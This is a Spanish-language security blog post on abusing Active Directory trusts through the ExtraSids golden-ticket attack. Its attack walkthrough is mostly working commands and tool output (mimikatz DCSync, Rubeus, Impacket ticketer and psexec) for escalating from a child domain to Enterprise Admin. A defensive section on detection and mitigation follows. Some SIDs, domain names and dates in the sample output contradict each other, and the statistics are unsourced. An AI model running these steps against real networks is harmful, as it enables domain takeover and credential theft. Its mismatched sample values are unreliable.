Post

Trust Issues Cómo las Relaciones de Confianza se Convierten en Vulnerabilidades Críticas en Active Directory

Posted Updated
By
19 min read
Trust Issues Cómo las Relaciones de Confianza se Convierten en Vulnerabilidades Críticas en Active Directory

Introducción: Cuando la Confianza se Vuelve una Debilidad

En marzo de 2024, una empresa tecnológica europea adquirió una prometedora startup de inteligencia artificial por 50 millones de euros. Para facilitar la integración inmediata de equipos y recursos, el departamento de TI estableció una relación de confianza bidireccional entre CORP.TECHEUROPE.COM (dominio corporativo principal) y AILAB.TECHEUROPE.COM (dominio de la startup adquirida). La decisión, tomada en una reunión de 15 minutos, priorizó la continuidad operativa sobre la seguridad.

Tres meses después, durante una evaluación de seguridad programada, nuestro equipo de red team logró comprometer completamente el dominio corporativo principal en menos de 8 horas. El vector inicial fue un servidor Jenkins desactualizado en el dominio de la startup. El impacto potencial: acceso a datos de 12,000 empleados, sistemas de producción críticos y propiedad intelectual valorada en cientos de millones.

¿Por Qué Existen las Relaciones de Confianza?

Antes de hablar del ataque, es fundamental entender el contexto empresarial legítimo de las relaciones de confianza en Active Directory.

Casos de Uso Empresarial

Las organizaciones modernas establecen relaciones de confianza entre dominios por razones operativas válidas:

Fusiones y Adquisiciones (M&A): Cuando una empresa adquiere otra, migrar completamente todos los usuarios, grupos y computadoras puede tomar meses o incluso años. Una relación de confianza permite integración inmediata mientras se planifica la migración definitiva.

Estructura Organizacional Compleja: Grandes corporaciones con subsidiarias, divisiones geográficas o unidades de negocio independientes mantienen dominios separados pero necesitan compartir recursos.

Partnerships Estratégicos: Empresas que colaboran estrechamente (proveedores, contratistas, joint ventures) pueden establecer confianzas externas para facilitar el acceso a recursos compartidos.

Separación de Ambientes: Organizaciones que mantienen dominios separados para producción, desarrollo y testing, pero requieren administración centralizada.

El Problema Fundamental

El diseño de Active Directory prioriza la conveniencia sobre la seguridad en ciertos escenarios. Dentro del mismo bosque (forest), las relaciones de confianza entre dominios hijo y padre carecen de SID Filtering, una protección crítica que examina y filtra identificadores de seguridad en solicitudes de autenticación. Esta decisión de diseño, aunque funcional, crea una superficie de ataque significativa.

El Ataque: De Dominio Hijo a Enterprise Admin

Fundamentos Técnicos: SID History y ExtraSids

Para entender el ataque, debemos conocer dos conceptos clave:

SID History es un atributo de Active Directory diseñado para escenarios de migración. Cuando un usuario se migra de un dominio a otro, su SID original se almacena en el atributo SID History para mantener el acceso a recursos del dominio anterior.

Cuando un usuario se autentica, Windows crea un token de acceso que incluye no solo el SID del usuario, sino también todos los SIDs almacenados en su atributo SID History. Este mecanismo es lo que permite al usuario acceder a recursos usando tanto su nueva identidad como la anterior.

ExtraSids Attack explota este comportamiento. Si un atacante puede modificar el SID History de una cuenta en un dominio hijo para incluir el SID del grupo Enterprise Admins (que solo existe en el dominio raíz), Windows tratará a esa cuenta como miembro de Enterprise Admins al autenticarse, otorgando acceso administrativo a todo el bosque.

Escenario de Ataque

Contexto: Has comprometido el dominio AILAB.TECHEUROPE.COM (dominio hijo) y deseas escalar privilegios para comprometer TECHEUROPE.COM (dominio padre/raíz).

Requisitos previos:

  • Control total sobre el dominio hijo (privilegios de Domain Admin)
  • Existencia de una relación de confianza con el dominio padre
  • La relación debe ser dentro del mismo bosque (intra-forest)

Datos necesarios para el ataque:

  1. Hash NTLM de la cuenta KRBTGT del dominio hijo
  2. SID del dominio hijo
  3. Nombre de un usuario objetivo (puede ser ficticio)
  4. FQDN del dominio hijo
  5. SID del grupo Enterprise Admins del dominio padre

Ataque desde Windows: Perspectiva del Red Team

Fase 1: Recopilación de Información

Paso 1: Enumerar relaciones de confianza

Usamos PowerView para identificar rápidamente las relaciones de confianza existentes:

1
2
3
4
5
6
7
8
9
10

PS C:> Import-Module .\PowerView.ps1
PS C:> Get-DomainTrust

SourceName : AILAB.TECHEUROPE.COM
TargetName : TECHEUROPE.COM
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection : Bidirectional
WhenCreated : 3/15/2024 10:23:17 AM
WhenChanged : 3/15/2024 10:23:17 AM

La confianza WITHIN_FOREST es crítica: indica que no hay SID Filtering, haciendo viable el ataque ExtraSids.

Paso 2: Obtener el hash KRBTGT del dominio hijo

La cuenta KRBTGT es la más crítica en Active Directory, ya que se usa para cifrar y firmar todos los tickets Kerberos. Con su hash, podemos crear Golden Tickets completamente válidos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

PS C:> mimikatz.exe

mimikatz # lsadump::dcsync /user:AILAB\krbtgt

[DC] 'AILAB.TECHEUROPE.COM' will be the domain
[DC] 'DC-AILAB-01.AILAB.TECHEUROPE.COM' will be the DC server
[DC] 'AILAB\krbtgt' will be the user account

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 3/15/2024 10:15:42 AM
Object Security ID : S-1-5-21-1987370270-658905905-1781884369-502
Object Relative ID : 502

Credentials:
Hash NTLM: 4e2bc8f62f8e7a9b1c3d6e5f8a7b9c2d
ntlm- 0: 4e2bc8f62f8e7a9b1c3d6e5f8a7b9c2d
lm - 0: a9c8e3d7f2b1e4a6c5d8e7f9a2b3c4d5

Datos obtenidos:

  • Hash KRBTGT: 4e2bc8f62f8e7a9b1c3d6e5f8a7b9c2d
  • SID del dominio hijo: S-1-5-21-1987370270-658905905-1781884369

Paso 3: Obtener el SID del dominio hijo (confirmación)

1
2
3

PS C:> Get-DomainSID

S-1-5-21-1987370270-658905905-1781884369

Paso 4: Obtener el SID del grupo Enterprise Admins

1
2
3
4
5

PS C:> Get-DomainGroup -Domain TECHEUROPE.COM -Identity "Enterprise Admins" | select distinguishedname,objectsid

distinguishedname                                       objectsid                                    
-----------------                                       ---------                                    
CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL S-1-5-21-3842939050-3880317879-2865463114-519

El RID 519 es estándar para Enterprise Admins en todos los dominios raíz de Active Directory.

Fase 2: Ejecución del Ataque

Opción A: Usando Mimikatz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

PS C:> mimikatz.exe

mimikatz # kerberos::golden /user:pentester /domain:AILAB.TECHEUROPE.COM /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:4e2bc8f62f8e7a9b1c3d6e5f8a7b9c2d /sids:S-1-5-21-2908742613-1396532074-1735424589-519 /ptt

User : pentester
Domain : AILAB.TECHEUROPE.COM (AILAB)
SID : S-1-5-21-1987370270-658905905-1781884369
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-2908742613-1396532074-1735424589-519 ;
ServiceKey: 4e2bc8f62f8e7a9b1c3d6e5f8a7b9c2d - rc4_hmac_nt
Lifetime : 10/31/2025 8:55:00 PM ; 10/28/2035 8:55:00 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'pentester @ AILAB.TECHEUROPE.COM' successfully submitted for current session

Parámetros explicados:

  • /user:pentester - Usuario ficticio (no necesita existir en AD)
  • /domain: - Dominio hijo donde “pertenece” el usuario
  • /sid: - SID del dominio hijo
  • /krbtgt: - Hash NTLM de la cuenta KRBTGT
  • /sids: - El ExtraSid crítico: SID de Enterprise Admins
  • /ptt - Pass The Ticket: inyecta automáticamente el ticket en la sesión actual

Verificación del ticket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

PS C:> klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0>   Client: pentester @ AILAB.TECHEUROPE.COM
      Server: krbtgt/AILAB.TECHEUROPE.COM @ AILAB.TECHEUROPE.COM
      KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
      Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
      Start Time: 10/31/2025 20:55:00 (local)
      End Time: 10/28/2035 20:55:00 (local)
      Renew Time: 10/28/2035 20:55:00 (local)
      Session Key Type: RSADSI RC4-HMAC(NT)
      Cache Flags: 0x1 -> PRIMARY
      Kdc Called:

Opción B: Usando Rubeus (más moderna)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

PS C:> .\Rubeus.exe golden /rc4:4e2bc8f62f8e7a9b1c3d6e5f8a7b9c2d /domain:AILAB.TECHEUROPE.COM /sid:S-1-5-21-1987370270-658905905-1781884369 /sids:S-1-5-21-2908742613-1396532074-1735424589-519 /user:pentester /ptt

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2 

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : AILAB.TECHEUROPE.COM (AILAB)
[*] SID            : S-1-5-21-2806153819-209893948-922872689
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ExtraSIDs      : S-1-5-21-3842939050-3880317879-2865463114-519
[*] ServiceKey     : 9D765B482771505CBE97411065964D5F
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 9D765B482771505CBE97411065964D5F
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : AILAB.TECHEUROPE.COM

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'pentester@AILAB.TECHEUROPE.COM'

[*] AuthTime       : 3/29/2022 10:06:41 AM
[*] StartTime      : 3/29/2022 10:06:41 AM
[*] EndTime        : 3/29/2022 8:06:41 PM
[*] RenewTill      : 4/5/2022 10:06:41 AM

[*] base64(ticket.kirbi):
      doIF0zCCBc+gAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoR8bHUxPR0lTVElDUy5JTkxBTkVG
      UkVJR0hULkxPQ0FMojIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdIVC5M
      T0NBTKOCBDIwggQuoAMCARehAwIBA6KCBCAEggQc0u5onpWKAP0Hw0KJuEOAFp8OgfBXlkwH3sXu5BhH
      T3zO/Ykw2Hkq2wsoODrBj0VfvxDNNpvysToaQdjHIqIqVQ9kXfNHM7bsQezS7L1KSx++2iX94uRrwa/S
      VfgHhAuxKPlIi2phwjkxYETluKl26AUo2+WwxDXmXwGJ6LLWN1W4YGScgXAX+Kgs9xrAqJMabsAQqDfy
      k7+0EH9SbmdQYqvAPrBqYEnt0mIPM9cakei5ZS1qfUDWjUN4mxsqINm7qNQcZHWN8kFSfAbqyD/OZIMc
      g78hZ8IYL+Y4LPEpiQzM8JsXqUdQtiJXM3Eig6RulSxCo9rc5YUWTaHx/i3PfWqP+dNREtldE2sgIUQm
      9f3cO1aOCt517Mmo7lICBFXUTQJvfGFtYdc01fWLoN45AtdpJro81GwihIFMcp/vmPBlqQGxAtRKzgzY
      acuk8YYogiP6815+x4vSZEL2JOJyLXSW0OPhguYSqAIEQshOkBm2p2jahQWYvCPPDd/EFM7S3NdMnJOz
      X3P7ObzVTAPQ/o9lSaXlopQH6L46z6PTcC/4GwaRbqVnm1RU0O3VpVr5bgaR+Nas5VYGBYIHOw3Qx5YT
      3dtLvCxNa3cEgllr9N0BjCl1iQGWyFo72JYI9JLV0VAjnyRxFqHztiSctDExnwqWiyDaGET31PRdEz+H
      WlAi4Y56GaDPrSZFS1RHofKqehMQD6gNrIxWPHdS9aiMAnhQth8GKbLqimcVrCUG+eghE+CN999gHNMG
      Be1Vnz8Oc3DIM9FNLFVZiqJrAvsq2paakZnjf5HXOZ6EdqWkwiWpbGXv4qyuZ8jnUyHxavOOPDAHdVeo
      /RIfLx12GlLzN5y7132Rj4iZlkVgAyB6+PIpjuDLDSq6UJnHRkYlJ/3l5j0KxgjdZbwoFbC7p76IPC3B
      aY97mXatvMfrrc/Aw5JaIFSaOYQ8M/frCG738e90IK/2eTFZD9/kKXDgmwMowBEmT3IWj9lgOixNcNV/
      OPbuqR9QiT4psvzLGmd0jxu4JSm8Usw5iBiIuW/pwcHKFgL1hCBEtUkaWH24fuJuAIdei0r9DolImqC3
      sERVQ5VSc7u4oaAIyv7Acq+UrPMwnrkDrB6C7WBXiuoBAzPQULPTWih6LyAwenrpd0sOEOiPvh8NlvIH
      eOhKwWOY6GVpVWEShRLDl9/XLxdnRfnNZgn2SvHOAJfYbRgRHMWAfzA+2+xps6WS/NNf1vZtUV/KRLlW
      sL5v91jmzGiZQcENkLeozZ7kIsY/zadFqVnrnQqsd97qcLYktZ4yOYpxH43JYS2e+cXZ+NXLKxex37HQ
      F5aNP7EITdjQds0lbyb9K/iUY27iyw7dRVLz3y5Dic4S4+cvJBSz6Y1zJHpLkDfYVQbBUCfUps8ImJij
      Hf+jggEhMIIBHaADAgEAooIBFASCARB9ggEMMIIBCKCCAQQwggEAMIH9oBswGaADAgEXoRIEEBrCyB2T
      JTKolmppTTXOXQShHxsdTE9HSVNUSUNTLklOTEFORUZSRUlHSFQuTE9DQUyiEzARoAMCAQGhCjAIGwZo
      YWNrZXKjBwMFAEDgAACkERgPMjAyMjAzMjkxNzA2NDFapREYDzIwMjIwMzI5MTcwNjQxWqYRGA8yMDIy
      MDMzMDAzMDY0MVqnERgPMjAyMjA0MDUxNzA2NDFaqB8bHUxPR0lTVElDUy5JTkxBTkVGUkVJR0hULkxP
      Q0FMqTIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdIVC5MT0NBTA==

[+] Ticket successfully imported!

Fase 3: Explotación y Acceso al Dominio Padre

Verificación de acceso administrativo:

1
2
3
4
5
6
7
8
9
10
11

PS C:\> ls \\DC-CORP-01.techeurope.com\c$

Directory: \\DC-CORP-01.techeurope.com\c$

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        9/15/2018  12:19 AM                  PerfLogs
d-----        3/15/2024  01:50 PM                  Program Files
d-----        9/15/2018  02:06 AM                  Program Files (x86)
d-r---        3/20/2024  10:32 AM                  Users
d-----        10/25/2025 03:41 PM                  Windows

¡Acceso confirmado al sistema de archivos del controlador de dominio padre!

Ejecutando DCSync contra el dominio padre:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

PS C:\> mimikatz.exe

mimikatz # lsadump::dcsync /user:TECHEUROPE\Administrator /domain:TECHEUROPE.COM

[DC] 'TECHEUROPE.COM' will be the domain
[DC] 'DC-CORP-01.TECHEUROPE.COM' will be the DC server
[DC] 'TECHEUROPE\Administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 3/10/2024 4:27:33 PM
Object Security ID   : S-1-5-21-2908742613-1396532074-1735424589-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 7c3f5a8d9e2b1c4f6a8d7e9f1a2b3c4d
    ntlm- 0: 7c3f5a8d9e2b1c4f6a8d7e9f1a2b3c4d

En este punto, tenemos control completo sobre el dominio padre, incluyendo las credenciales del administrador corporativo.

Ataque desde Linux: Arsenal de Impacket

Los entornos de pentesting modernos frecuentemente operan desde sistemas Linux. Impacket proporciona herramientas equivalentes para ejecutar el mismo ataque.

Fase 1: Recopilación de Información desde Linux

Paso 1: Obtener hash KRBTGT con secretsdump.py

1
2
3
4
5
6
7
8
9
10
11
12
13

secretsdump.py ailab.techeurope.com/admin_ailab@172.16.10.50 -just-dc-user AILAB/krbtgt

Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4e2bc8f62f8e7a9b1c3d6e5f8a7b9c2d:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:a7c3e9f2d4b8e1a5c7d9f3e8a4b2c6d1e5f9a3b7c1d5e9f3a7b1c5d9e3f7a1b5
krbtgt:aes128-cts-hmac-sha1-96:d9f3e7a1b5c9d3e7f1a5b9c3d7e1f5a9
krbtgt:des-cbc-md5:e7a3f9d1c5b8e2a6
[*] Cleaning up...

Paso 2: Enumerar SIDs con lookupsid.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

lookupsid.py ailab.techeurope.com/admin_ailab@172.16.10.50 

Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Brute forcing SIDs at 172.16.10.50
[*] StringBinding ncacn_np:172.16.10.50[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1987370270-658905905-1781884369
500: AILAB\Administrator (SidTypeUser)
501: AILAB\Guest (SidTypeUser)
502: AILAB\krbtgt (SidTypeUser)
512: AILAB\Domain Admins (SidTypeGroup)
513: AILAB\Domain Users (SidTypeGroup)
514: AILAB\Domain Guests (SidTypeGroup)
515: AILAB\Domain Computers (SidTypeGroup)
516: AILAB\Domain Controllers (SidTypeGroup)
517: AILAB\Cert Publishers (SidTypeAlias)
518: AILAB\Schema Admins (SidTypeGroup)
519: AILAB\Enterprise Admins (SidTypeGroup)

SID del dominio hijo confirmado: S-1-5-21-1987370270-658905905-1781884369

Paso 3: Obtener SID de Enterprise Admins del dominio padre

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

lookupsid.py ailab.techeurope.com/admin_ailab@172.16.10.10 | grep -B12 "Enterprise Admins"

Password:
[*] Domain SID is: S-1-5-21-2908742613-1396532074-1735424589
498: TECHEUROPE\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: TECHEUROPE\administrator (SidTypeUser)
501: TECHEUROPE\guest (SidTypeUser)
502: TECHEUROPE\krbtgt (SidTypeUser)
512: TECHEUROPE\Domain Admins (SidTypeGroup)
513: TECHEUROPE\Domain Users (SidTypeGroup)
514: TECHEUROPE\Domain Guests (SidTypeGroup)
515: TECHEUROPE\Domain Computers (SidTypeGroup)
516: TECHEUROPE\Domain Controllers (SidTypeGroup)
517: TECHEUROPE\Cert Publishers (SidTypeAlias)
518: TECHEUROPE\Schema Admins (SidTypeGroup)
519: TECHEUROPE\Enterprise Admins (SidTypeGroup)

SID de Enterprise Admins: S-1-5-21-2908742613-1396532074-1735424589-519

Fase 2: Creación del Golden Ticket con ticketer.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

ticketer.py -nthash 4e2bc8f62f8e7a9b1c3d6e5f8a7b9c2d -domain AILAB.TECHEUROPE.COM -domain-sid S-1-5-21-1987370270-658905905-1781884369 -extra-sid S-1-5-21-2908742613-1396532074-1735424589-519 pentester

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for AILAB.TECHEUROPE.COM/pentester
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in pentester.ccache

Configurar variable de entorno Kerberos:

1

export KRB5CCNAME=pentester.ccache

Esta variable le indica al sistema operativo qué archivo de credenciales Kerberos usar para autenticación.

Fase 3: Explotación con psexec.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

psexec.py AILAB.TECHEUROPE.COM/pentester@dc-corp-01.techeurope.com -k -no-pass -target-ip 172.16.10.10

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 172.16.10.10.....
[*] Found writable share ADMIN$
[*] Uploading file WkHjRnPz.exe
[*] Opening SVCManager on 172.16.10.10.....
[*] Creating service mKDp on 172.16.10.10.....
[*] Starting service mKDp.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.5830]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
DC-CORP-01

Parámetros explicados:

  • AILAB.TECHEUROPE.COM/pentester - Usuario del ticket (dominio hijo)
  • @dc-corp-01.techeurope.com - FQDN del DC padre
  • -k - Usar autenticación Kerberos
  • -no-pass - No solicitar contraseña (usamos el ticket)
  • -target-ip - IP del DC padre (172.16.10.10)

¡Shell SYSTEM obtenido en el controlador de dominio padre!

Fase 4: DCSync desde Linux

1
2
3
4
5
6
7
8
9
10
11

secretsdump.py AILAB.TECHEUROPE.COM/pentester@dc-corp-01.techeurope.com -k -no-pass -just-dc-user TECHEUROPE/Administrator -target-ip 172.16.10.10

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7c3f5a8d9e2b1c4f6a8d7e9f1a2b3c4d:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c9f5e3a7d1b5e9f3a7b1c5d9e3f7a1b5c9d3e7f1a5b9c3d7e1f5a9b3c7d1e5f9
Administrator:aes128-cts-hmac-sha1-96:f5a9b3c7d1e5f9a3b7c1d5e9f3a7b1c5
[*] Cleaning up...

Credenciales del administrador corporativo obtenidas exitosamente.

Automatización: raiseChild.py

Impacket incluye raiseChild.py, una herramienta que automatiza todo el proceso de escalación. Aunque es conveniente, es crucial entender cada paso manual antes de usar herramientas automatizadas.

Advertencia importante: En entornos de producción real, las herramientas “autopwn” deben usarse con extremo cuidado. Siempre es preferible ejecutar cada paso manualmente cuando se trabaja con clientes reales.

Comparación de Herramientas: Windows vs Linux

TareaWindowsLinux (Impacket)
Enumerar confianzasPowerView: Get-DomainTrustlookupsid.py + análisis manual
Obtener hash KRBTGTMimikatz: lsadump::dcsyncsecretsdump.py -just-dc-user
Obtener SID dominioPowerView: Get-DomainSIDlookupsid.py (primera línea)
Crear Golden TicketMimikatz/Rubeus: kerberos::golden / goldenticketer.py
Inyectar ticketAutomático con /pttexport KRB5CCNAME=ticket.ccache
Obtener shell remotoPsExec, WmiExec, RDPpsexec.py, wmiexec.py, smbexec.py
DCSync remotoMimikatz (requiere shell)secretsdump.py (remoto nativo)
AutomatizaciónScripts PowerShell personalizadosraiseChild.py

Perspectiva del Blue Team: Detección y Defensa

Indicadores de Compromiso (IoCs)

Eventos de Windows a monitorear:

Event ID 4768 (Solicitud de ticket TGT Kerberos):

  • Tickets con tiempo de vida inusualmente largo (10 años en nuestro ejemplo)
  • Solicitudes desde cuentas que normalmente no se autentican
  • Patrones de autenticación inusuales desde dominios hijos

Event ID 4769 (Solicitud de ticket de servicio Kerberos):

  • Tickets con cifrado RC4 cuando la política requiere AES
  • Solicitudes de servicio desde cuentas sin actividad histórica

Event ID 4662 (Operación realizada sobre un objeto):

  • Solicitudes DRSUAPI (DCSync) desde computadoras que no son controladores de dominio
  • Accesos a DS-Replication-Get-Changes-All desde cuentas no autorizadas

Event ID 4624 (Inicio de sesión exitoso) con tipo de inicio de sesión 3:

  • Autenticaciones desde el dominio hijo al dominio padre con cuentas desconocidas
  • Inicios de sesión administrativos desde sistemas no administrados

Detección Técnica de Golden Tickets

Los Golden Tickets tienen características detectables:

Validación de PAC:

  • Golden Tickets creados sin acceso al DC legítimo carecen de ciertas validaciones de PAC
  • Microsoft KB 3011780 implementa validaciones adicionales de PAC que pueden detectar algunos Golden Tickets mal formados

Análisis de cifrado:

  • Golden Tickets normalmente usan RC4 (hash NTLM) en lugar de AES, incluso cuando la política del dominio requiere AES
  • Monitorear eventos de autenticación con algoritmos de cifrado degradados

Temporalidad:

  • Los tickets legítimos tienen una validez de 10 horas por defecto
  • Golden Tickets frecuentemente se crean con validez de años o décadas
  • Implementar alertas para tickets con validez > 24 horas

Estrategias de Mitigación

A nivel de arquitectura:

Revisión de confianzas existentes: Audita todas las relaciones de confianza en tu entorno. Pregunta: ¿Esta confianza sigue siendo necesaria? ¿Puede ser unidireccional en lugar de bidireccional?

Implementación de SID Filtering: Aunque no funciona dentro del mismo bosque, habilita SID Filtering en todas las confianzas externas (entre bosques diferentes).

Modelo ESAE (Enhanced Security Admin Environment): Implementa un bosque separado dedicado exclusivamente a administración (“Red Forest” o “Admin Forest”) que administra los bosques de producción mediante confianzas unidireccionales.

Segregación de dominios: Considera si realmente necesitas una estructura de dominio padre/hijo, o si bosques completamente separados con confianzas externas (que soportan SID Filtering) serían más seguros.

A nivel de control de acceso:

Principio de privilegio mínimo: Limita drásticamente quién tiene privilegios Domain Admin, especialmente en dominios hijos que tienen confianzas con dominios padre.

Protección de cuentas privilegiadas:

  • Implementa PAWs (Privileged Access Workstations) para administración
  • Usa Microsoft LAPS para contraseñas de administrador local únicas
  • Implementa Credential Guard en todas las estaciones administrativas

Monitoreo continuo:

Implementa EDR/XDR: Soluciones de detección y respuesta que monitoreen actividad de Mimikatz, DCSync, y manipulación de tickets Kerberos.

SIEM con reglas específicas:

1
2
3

alert: DCSync from non-DC
condition: event_id=4662 AND properties CONTAINS "DS-Replication-Get-Changes-All" AND source_host NOT IN domain_controllers
severity: CRITICAL

Rotación de KRBTGT: Implementa un proceso de rotación de la contraseña de KRBTGT cada 180 días (dos veces para invalidar el historial). Usa el script oficial de Microsoft para evitar interrupciones.

A nivel de detección:

Purple Knight / Ping Castle: Herramientas gratuitas que auditan configuraciones de AD y detectan relaciones de confianza riesgosas.

BloodHound para Blue Team: Usa BloodHound proactivamente para identificar caminos de ataque antes que los atacantes. La consulta “Shortest Paths to Domain Admins from Owned Principals” es invaluable.

Canary tokens: Implementa cuentas “honeypot” con privilegios aparentes en dominios hijos, monitoreando cualquier intento de uso.

Impacto Real en Organizaciones

Consecuencias Operacionales

Basándose en evaluaciones de seguridad reales, el compromiso de un dominio raíz mediante ExtraSids puede resultar en:

Interrupción operacional total: El atacante puede deshabilitar cuentas, cambiar contraseñas, o desplegar ransomware simultáneamente en todos los sistemas del bosque.

Exfiltración de datos a escala: Con privilegios Enterprise Admin, el atacante tiene acceso irrestricto a todos los servidores de archivos, bases de datos, repositorios de código y sistemas de correo electrónico.

Persistencia de largo plazo: El atacante puede crear múltiples backdoors: cuentas ocultas, Golden Tickets adicionales, manipulación de GPOs, certificados falsos, entre otros.

Compromiso de cadena de suministro: Si tu organización tiene relaciones de confianza con clientes o proveedores, el compromiso puede extenderse más allá de tu perímetro.

Casos de Estudio (Anónimos)

Caso 1: Empresa de Manufactura Global

  • Adquirieron 4 empresas en 3 años
  • Establecieron confianzas bidireccionales con todos los dominios adquiridos
  • Una vulnerabilidad en un portal web de una de las empresas adquiridas permitió acceso inicial
  • En 12 horas, el atacante tenía control de los 5 dominios
  • Impacto: Paro de producción en 8 fábricas durante 72 horas
  • Costo estimado: $45 millones USD

Caso 2: Institución Financiera

  • Dominio hijo para departamento de desarrollo/testing
  • Controles de seguridad más relajados en el dominio hijo (“es solo desarrollo”)
  • Compromiso inicial vía phishing a desarrollador
  • Escalación a dominio padre usando ExtraSids
  • Acceso a sistemas de transacciones y datos de clientes
  • Impacto: Multas regulatorias, pérdida de confianza de clientes
  • Costo total: $120 millones USD (incluyendo multas y remediación)

Estadísticas Relevantes

Según investigaciones de seguridad recientes:

  • 95% de las empresas Fortune 1000 usan Active Directory como servicio de autenticación principal
  • 95 millones de cuentas de AD son atacadas diariamente
  • 60% de las organizaciones tienen al menos una configuración de confianza de dominio que podría ser explotada
  • 70% de los ataques dirigidos modernos involucran movimiento lateral a través de confianzas de AD
  • El tiempo promedio para comprometer un dominio padre después de comprometer el hijo es < 8 horas en evaluaciones de seguridad

Conclusión

Las relaciones de confianza en Active Directory son una necesidad operacional legítima en organizaciones complejas, pero representan una de las superficies de ataque más críticas y frecuentemente pasadas por alto. El ataque ExtraSids demuestra cómo decisiones de diseño tomadas por conveniencia pueden convertirse en vectores de compromiso total.

Recomendaciones Finales

Para equipos de seguridad ofensiva (Red Team/Pentesters):

  1. Siempre enumera relaciones de confianza como parte de tu reconocimiento inicial
  2. Identifica dominios hijo con posturas de seguridad débiles
  3. Comprende cada paso del ataque antes de usar herramientas automatizadas
  4. Documenta el impacto potencial claramente en tus informes
  5. Proporciona recomendaciones de remediación específicas y priorizadas

Para equipos de seguridad defensiva (Blue Team/SOC):

  1. Audita todas las relaciones de confianza existentes trimestralmente
  2. Implementa monitoreo específico para indicadores de Golden Ticket y DCSync
  3. Establece un proceso de rotación de KRBTGT
  4. Considera modelos de segmentación como ESAE/Red Forest
  5. Prueba tus capacidades de detección mediante Purple Team exercises

Para líderes de seguridad (CISO/Arquitectos):

  1. Trata las relaciones de confianza como decisiones de arquitectura críticas, no como configuraciones tácticas
  2. Implementa procesos de revisión y aprobación formal para nuevas confianzas
  3. Incluye análisis de riesgo de confianzas en due diligence de M&A
  4. Invierte en herramientas y capacitación para gestión segura de Active Directory
  5. Considera las confianzas al evaluar tu superficie de ataque organizacional

La seguridad de Active Directory no es un proyecto con fecha de finalización, sino un proceso continuo de evaluación, ajuste y mejora. Las organizaciones que entienden las implicaciones de seguridad de sus relaciones de confianza y las gestionan proactivamente estarán significativamente mejor posicionadas para resistir ataques sofisticados.

Referencias Técnicas:

  • Microsoft Documentation: Active Directory Trusts
